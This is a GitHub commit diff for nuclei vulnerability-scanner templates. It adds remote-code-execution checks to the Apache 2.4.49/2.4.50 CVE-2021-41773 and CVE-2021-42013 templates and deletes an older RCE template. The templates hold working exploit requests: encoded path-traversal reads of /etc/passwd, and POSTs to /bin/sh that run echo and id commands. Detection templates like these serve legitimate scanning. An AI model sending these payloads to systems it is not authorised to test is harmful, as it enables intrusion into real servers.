Merge pull request #2864 from projectdiscovery/apache-rce-update

Updating CVE-2021-41773 / CVE-2021-42013 to include RCE check
patch-1
Sandeep Singh 2021-10-10 18:29:53 +05:30 committed by GitHub
commit ea52d761e4
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GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 36 additions and 56 deletions

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@ -1,29 +1,40 @@
id: CVE-2021-41773 id: CVE-2021-41773
info: info:
name: Apache 2.4.49 - Path Traversal name: Apache 2.4.49 - Path Traversal and Remote Code Execution
author: daffainfo author: daffainfo
severity: high severity: critical
description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
reference: reference:
- https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782 - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773 - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
- https://twitter.com/ptswarm/status/1445376079548624899 - https://twitter.com/ptswarm/status/1445376079548624899
- https://twitter.com/h4x0r_dz/status/1445401960371429381 - https://twitter.com/h4x0r_dz/status/1445401960371429381
tags: cve,cve2021,lfi,apache,misconfig - https://github.com/blasty/CVE-2021-41773
tags: cve,cve2021,lfi,rce,apache,misconfig
requests: requests:
- method: GET - raw:
path: - |
- "{{BaseURL}}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and - |
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
echo Content-Type: text/plain; echo; echo 37714-1202-EVC | rev
matchers-condition: or
matchers: matchers:
- type: regex - type: regex
name: LFI
regex: regex:
- "root:.*:0:0" - "root:.*:0:0"
- type: status - type: word
status: name: RCE
- 200 words:
- "CVE-2021-41773"

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@ -2,7 +2,7 @@ id: CVE-2021-42013
info: info:
name: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution name: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
author: nvn1729 author: nvn1729,0xd0ff9
severity: critical severity: critical
description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773. description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
reference: reference:
@ -18,14 +18,24 @@ requests:
Host: {{Hostname}} Host: {{Hostname}}
Origin: {{BaseURL}} Origin: {{BaseURL}}
- |+
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
echo Content-Type: text/plain; echo; echo 31024-1202-EVC | rev
unsafe: true unsafe: true
matchers-condition: and matchers-condition: or
matchers: matchers:
- type: regex - type: regex
name: LFI
regex: regex:
- "root:.*:0:0" - "root:.*:0:0"
- type: status - type: word
status: name: RCE
- 200 words:
- "CVE-2021-42013"

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@ -1,41 +0,0 @@
id: apache-httpd-rce
info:
name: Apache HTTPd - 2.4.49 (CGI enabled) RCE
author: pdteam
severity: critical
description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by require all denied these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
reference:
- https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
- https://twitter.com/ptswarm/status/1445376079548624899
- https://github.com/blasty/CVE-2021-41773
tags: cve,cve2021,rce,apache
requests:
- raw:
- |
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
echo Content-Type: text/plain; echo; id
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
condition: and
part: body
words:
- 'uid='
- 'gid='
- 'groups='
extractors:
- type: regex
regex:
- "(u|g)id=.*"